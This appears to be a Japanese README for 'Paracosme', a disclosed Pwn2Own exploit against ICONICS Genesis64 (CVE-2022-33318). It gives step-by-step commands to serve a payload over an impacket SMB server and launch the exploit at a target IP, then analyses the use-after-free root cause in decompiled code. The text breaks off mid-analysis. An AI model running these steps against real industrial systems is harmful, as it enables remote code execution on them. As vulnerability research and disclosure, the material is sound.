
Paracosmeは、Pwn2Own Miami 2022コンテストのステージ上で実証に成功した、ICONICS Genesis64を侵害するゼロクリックのリモートメモリ破壊エクスプロイトです。
Paracosme は、ICONICS 製の Genesis64 スイート v10.97.1 を標的として私が作成したメモリ破壊エクスプロイトで、リモートコード実行を実現します。
このエクスプロイトは、S4x22 Conference で開催された Pwn2Own 2022 Miami コンテストで実演されました。詳細は、Pwn2Own ICS 2022 Miami に参加する: ICONICS Genesis64 におけるゼロクリックリモートメモリ破壊の悪用 で読むことができます。
この問題は CVSS で 9.8 と評価され、CVE-2022-33318 / ZDI-22-1041 が割り当てられました。これは修正され、Genesis64 10.97.2 で修正されました。ICSA-22-202-04 勧告と、ICONICS の ICONICS Suite のセキュリティ脆弱性に関するホワイトペーパー も読むことができます。
エクスプロイトコードは src/paracosme.py、クラッシュを引き起こす / 影響を受けるかどうかを確認する PoC は src/paracosme-poc.py、マシン上で実行されるペイロードは src/payload にあります。
影響を受けているかどうかを確認する最良の方法は、GenBroker64.exe に対して Page Heap を有効にし、サービスを再起動し、GenBroker64.exe にデバッガをアタッチし、サーバに対して paracosme-poc.py を実行することです。以下のようなクラッシュが発生するはずです:
クラッシュを確認するには、ターゲットプロセスにデバッガをアタッチする必要があります。そうしないと、アプリケーションはそれを無視します。
このエクスプロイトは Windows でのみテストされていますが、Linux プラットフォームでも動作するはずです:
impacket をインストールします: pip3 install impacketsc config lanmanserver start=disabled でマシン上で実行中の SMB サーバを無効にし、再起動しますimpacket のサンプルに含まれる smbserver.py で smbserver を起動します: python src\smbserver.py -smb2support x binpython src\paracosme.py --target <ip> でエクスプロイトを起動します
詳細については、Pwn2Own ICS 2022 Miami に参加する: ICONICS Genesis64 におけるゼロクリックリモートメモリ破壊の悪用 を参照してください。
Paracosme は、GenBroker64 プロセスで見つかった use-after-free の問題を悪用して、Windows 21H2 x64 システム上でリモートコード実行を実現します。
大まかに言うと、GenBroker64 プロセスは TCP ポート 38080 で待ち受けし、クライアントとのハンドシェイク後にさまざまなパケットを逆シリアル化できます。私が見つけた問題は、ネットワークソケットから VARIANT を読み取る処理のコードにあります。基本的に variant は型と値です。この関数は一見すると適切に書かれており、特定の型のみをアンパックするように注意しています。そのコードは次のようになります:
bool CheckVariantType(VARTYPE VarType) {
if((VarType & 0x2FFF) != VarType) {
return false;
}
switch(VarType & 0xFFF) {
case VT_EMPTY:
case VT_NULL:
case VT_I2:
case VT_I4:
case VT_R4:
case VT_R8:
case VT_CY:
case VT_DATE:
case VT_BSTR:
case VT_ERROR:
case VT_BOOL:
case VT_VARIANT:
case VT_I1:
case VT_UI1:
case VT_UI2:
case VT_UI4:
case VT_I8:
case VT_UI8:
case VT_INT:
case VT_UINT:
case VT_HRESULT:
case VT_FILETIME:
return true;
break;
default:
return false;
}
}
size_t VariantTypeToSize(VARTYPE VarType) {
switch(VarType) {
case VT_I1: return 1;
case VT_UI2: return 2;
case VT_UI4:
case VT_INT:
case VT_UINT:
case VT_HRESULT:
return 4;
case VT_I8:
case VT_UI8:
case VT_FILETIME:
return 8;
default:
return 0;
}
}
void Utils::ReadVariant(tagVARIANT *Variant, Archive_t *Archive, int Level) {
TRY {
return ReadVariant_((CArchive *)Archive, (COleVariant *)Variant);
} CATCH_ALL(e) {
VariantClear(Variant);
}
}
HRESULT Utils::ReadVariant_(tagVARIANT *Variant, Archive_t *Archive, int Level) {
VARTYPE VarType = Archive.ReadUint16();
if((VarType & VT_ARRAY) != 0) {
// Special logic to unpack arrays..
return ..;
}
Size = VariantTypeToSize(VarType);
if (Size) {
Variant->vt = VarType;
return Archive.ReadInto(&Variant->decVal.8, Size);
}
if(!CheckVariantType(VarType)) {
// ...
throw Something();
}
return Archive >> Variant;
}
この関数は、配列のアンパックと単純な variant 型の読み取りを自前で実装していますが、これら2つのいずれでもないものを受け取った場合は、archive インスタンスの operator>> に処理を委ねます。この archive インスタンスは、さまざまなオブジェクトのシリアル化と逆シリアル化を処理する Microsoft Foundation Class フレームワークによって提供されるオブジェクトです。このコードは実際にはオープンソースであり、C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.29.30133\atlmfc\src\mfc\olevar.cpp にありますが、ここに示します:
CArchive& AFXAPI operator>>(CArchive& ar, COleVariant& varSrc) {
LPVARIANT pSrc = &varSrc;
// ...
switch(pSrc->vt) {
// ...
case VT_DISPATCH:
case VT_UNKNOWN: {
LPPERSISTSTREAM pPersistStream = NULL;
CArchiveStream stm(&ar);
CLSID clsid;
ar >> clsid.Data1;
ar >> clsid.Data2;
ar >> clsid.Data3;
ar.EnsureRead(&clsid.Data4[0], sizeof clsid.Data4);
SCODE sc = CoCreateInstance(clsid, NULL,
CLSCTX_ALL | CLSCTX_REMOTE_SERVER,
pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
(void**)&pSrc->punkVal);
if(sc == E_INVALIDARG) {
sc = CoCreateInstance(clsid, NULL,
CLSCTX_ALL & ~CLSCTX_REMOTE_SERVER,
pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
(void**)&pSrc->punkVal);
}
AfxCheckError(sc);
TRY {
sc = pSrc->punkVal->QueryInterface(
IID_IPersistStream, (void**)&pPersistStream);
if(FAILED(sc)) {
sc = pSrc->punkVal->QueryInterface(
IID_IPersistStreamInit, (void**)&pPersistStream);
}
AfxCheckError(sc);
AfxCheckError(pPersistStream->Load(&stm));
} CATCH_ALL(e) {
if(pPersistStream != NULL) {
pPersistStream->Release();
}
pSrc->punkVal->Release();
THROW_LAST();
}
END_CATCH_ALL
pPersistStream->Release();
}
return ar;
}
}
この関数は、単純な型をアンパックするロジックもあるため、ほとんど平凡ですが、私の注意を引いたのは VT_DISPATCH / VT_UNKNOWN でした。
何だこれは? IPersistStream または IPersistStreamInit を実装する任意の COM オブジェクトのクラス ID を送信でき、IPersistream::Load を呼び出してオブジェクトを初期化することでそれをロードします。これは驚くべきことであり、奇妙な機能ですが、標準の Windows 10 で利用可能な COM オブジェクトに別のバグを見つける必要があるため、セキュリティの観点からはあまり興味深いとは思いませんでした。
では、以下のコードを詳しく見てみましょう:
SCODE sc = CoCreateInstance(clsid, NULL,
CLSCTX_ALL | CLSCTX_REMOTE_SERVER,
pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
(void**)&pSrc->punkVal); <-------------- [[0]]